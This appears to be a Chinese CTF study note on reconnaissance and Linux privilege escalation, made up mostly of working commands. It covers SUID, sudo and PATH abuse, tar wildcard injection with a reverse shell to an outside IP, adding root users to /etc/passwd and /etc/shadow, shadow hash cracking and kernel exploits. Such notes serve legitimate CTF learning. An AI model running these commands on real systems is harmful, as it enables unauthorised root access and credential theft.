信息收集

dirsearch

1
dirsearch -u url

GIT泄露

1
2
3
4
python2 GitHack.py http://dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn:81/.git/
cd /home/kali/Desktop/GitHack/dist/dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn_81
git stash list
git stash show -p

CVE POC批量查询工具

CVE POC 查询工具

侧信道攻击

侧信道攻击是一种非直接攻击方式,不是破解密码算法本身,而是通过分析系统实现中的物理特性来获取敏感信息。攻击者“偷听”系统运行时的副作用信息,而不是直接攻击算法逻辑。一般来说,侧信道攻击利用了 时间差异(Timing Attack)

【Web】corCTF 2025 wp_2025 reverse wp-CSDN博客

本题利用的就是每次比较一个字符都会进行一次大数据计算一次(预估消耗时间差距很明显),给侧信道攻击提供了机会。

常见的敏感信息位置

linux 计划任务

系统级

1
2
3
4
5
6
7
8
9
10
/etc/cron.d

#windows 下文件不带换行符,linux echo带换行符
#计划任务必须带换行符结尾,否则不执行

* * * * * root echo "qwq" > /tmp/`cat /flag | base64`

/etc/cron.hourly

#直接传

用户级

1
2
3
4
#/var/spool/cron/root(用户名为名字命名文件)
#/var/spool/crontab/root
/var/spool/cron/crontabs/root(用户名为名字命名文件)
* * * * * echo "qwq" > /tmp/`cat /flag | base64`

Nginx

1
2
3
4
5
6
日志:
/var/log/nginx/access.log

配置:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf

Apache

1
2
3
4
5
6
7
8
9
10
11
日志:
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

配置:
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf

Docker

1
2
启动命令文件:
/docker-entrypoint.sh
1
2
3
4
5
6
/proc/self/cmdline # cmd记录
history
cat ~/.bashrc
cat ~/.bash_logout
cat .bash_history
/root/.bash_history

获取交互式shell

1
/usr/bin/script -qc /bin/bash /dev/null

环境变量目录

1
2
/proc/self/environ
/proc/1/environ

用户信息目录

1
/etc/passwd

设备信息目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/proc/self/maps #maps(可以看 libc.so 的具体名字)
/proc/self/cwd #当前运行目录下的文件,cwd代表当前工作目录(Current Working Directory)。

/proc/[PID]/fd/[NUM]
/proc/self/fd/[NUM]
/dev/fd/[NUM]

ls -la /proc/self/exe

/lib/x86_64-linux-gnu/libc-2.31.so # libc目录(动态变化)

/usr/local/lib/php/pearcmd.php #pearcmd
/usr/local/lib/php/peclcmd.php #peclcmd

/usr/share/php/pearcmd.php #pearcmd
/usr/share/php/peclcmd.php #peclcmd

/sys/class/net/eth0/address #16进制网卡地址
/sys/class/net/ens33/address #16进制网卡地址
/sys/class/net/wlan0/address #16进制网卡地址

linux 提权

提权百宝箱:GTFOBins

本地项目:【详细】本地运行 GTFOBins 教程-CSDN博客

suid 提权

具有 suid 的 二进制文件,会暂时拥有 root 权限。

赋予/取消 suid 权限

1
2
3
chmod u+s filename
chmod u-s filename
#用 root 账号

查询 suid 权限(都用下试一下)

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

find提权

/usr/bin/find

1
2
3
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit

bash提权

/usr/bin/bash

1
2
bash -p #交互式
bash -p -c "whoami" #一句话执行

vim提权

/usr/bin/vim

1
2
3
4
5
6
7
vim /etc/passwd #添加特权用户 添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow #添加特权用户 bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' #打开交互shell 复现失败

#进入命令模式
:set shell=/bin/sh
:shell

vi提权

/usr/bin/vi

1
:!sh

python提权

/usr/bin/python

1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

date提权

1
date -f /hereisflag/flllll111aaagg #读文件

time提权

1
2
time whoami
time cat /etc/shadow

file提权

1
file -f /flag

pkexec 提权

arthepsy/CVE-2021-4034:PwnKit 的 PoC:Polkit pkexec 中的本地权限升级漏洞(CVE-2021-4034) — arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

image-20251125195603001

覆写高权限文件提权

2024 NepCTF 部分题目复现学习 | 心流

查看当前运行进程:

1
ps -aux

发现:

1
root 24  0.0  0.0  12024  2464 ? Ss 05:470:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6

root 执行了 xinetd,看一下配置文件:

1
cat /etc/xinetd.d/pwnservice
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
service pwnservice
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = root
server = /bin/bash
server_args = -c "/home/ctfuser/start.sh"
port = 8888
bind = 0.0.0.0
type = UNLISTED
per_source = 10
instances = 100
flags = REUSE
}

也就是说这个会在接收到8888 端口的监听时运行脚本,正好这个脚本我们是有权限修改的,就可以通过这里来执行。

image-20251210163835339

1
2
3
echo "#!/bin/bash\nchmod 777 /home/ctf/user/f*" > /home/ctfuser/start.sh
nc 127.0.0.1 8888
ls -al

sudo提权

1
2
3
4
ascmd /bin/sh
cat /etc/sudoers
sudo -l
#这两个命令都需要权限和密码

img

查看什么命令可以免密 sudo。

sudo + awk 提权

1
2
sudo -u user1 /bin/bash
sudo awk 'BEGIN {system("/bin/sh")}'

sudo + apt 提权

1
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"

环境变量提权

一般来说,调用 cat,都是 /usr/bin/cat,这里把环境变量 tmp 放在最前面,这里的 cat 就被劫持了自己定义的 /bin/bash,如果 调用 cat 的 sh 文件有 suid 权限的话,那么相应的 bash 也会有 su 权限。

1
2
3
4
5
6
7
echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/shell
whoami
1
2
3
4
5
6
7
cd /tmp
echo \"/bin/bash\">ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /
./readflag

计划任务提权

重写提权

1
2
3
4
5
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab
cat /etc/crontab
分 时 日 月 周 用户 命令

如果计划任务可以修改,可以重写计划任务本身 / 重写执行的 sh 提权。

通配符提权

tar 配合 -checkpoint-action 进行 RCE

云尘靶场-Linux提权系列 - Yuy0ung - 博客园

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

echo " " > --checkpoint=1
echo " " > --checkpoint-action=exec=whoami

echo " " > /var/www/html/--checkpoint=1
echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/192.168.41.211/8888 0>&1" > /var/www/html/shell.sh

echo '/usr/bin/cp /usr/bin/find /tmp/myfind && chmod 4777 /tmp/myfind' > exploit.sh && echo '' > '--checkpoint=1' && echo '' > '--checkpoint-action=exec=sh exploit.sh' && chmod 777 /tmp/abcd/* #当 cp 转移 find文件,再设置对新 find 文件进行 suid 权限

#现在运行 tar -czf 1.tgz * 的时候默认就会执行 whoami 了

#原理就是 这种 --help --checkpoint 附加在命令里不会当作文件解析 而是当作命令解析

image-20251020123947151

cp 配合软连接复制文件

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog

1
2
3
4
echo "">"-H" #意思是对于软连接直接复制文件而不是软连接本身
ln -s /flag bk

cp -P -H(优先级高于 —P) backup/bk

明文密码破解

1
cat /etc/shadow # 需要 cat 有 suid 权限  | /etc/shadow 可读 | sudo 查看
1
2
3
4
5
6
john shadow.txt
john --wordlist=dictionary_of_pwd.txt shadow.txt
john --format=crypt shadow.txt
john --show shadow.txt

# 输出格式是 password (username)

linux内核提权

GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合

1
2
3
4
uname -a
searchsploit linux 5.10.10
gcc 50808.c -o 50808
./50808 /usr/bin/su

根据 cve 编号,搜索用法。

image-20251020130446088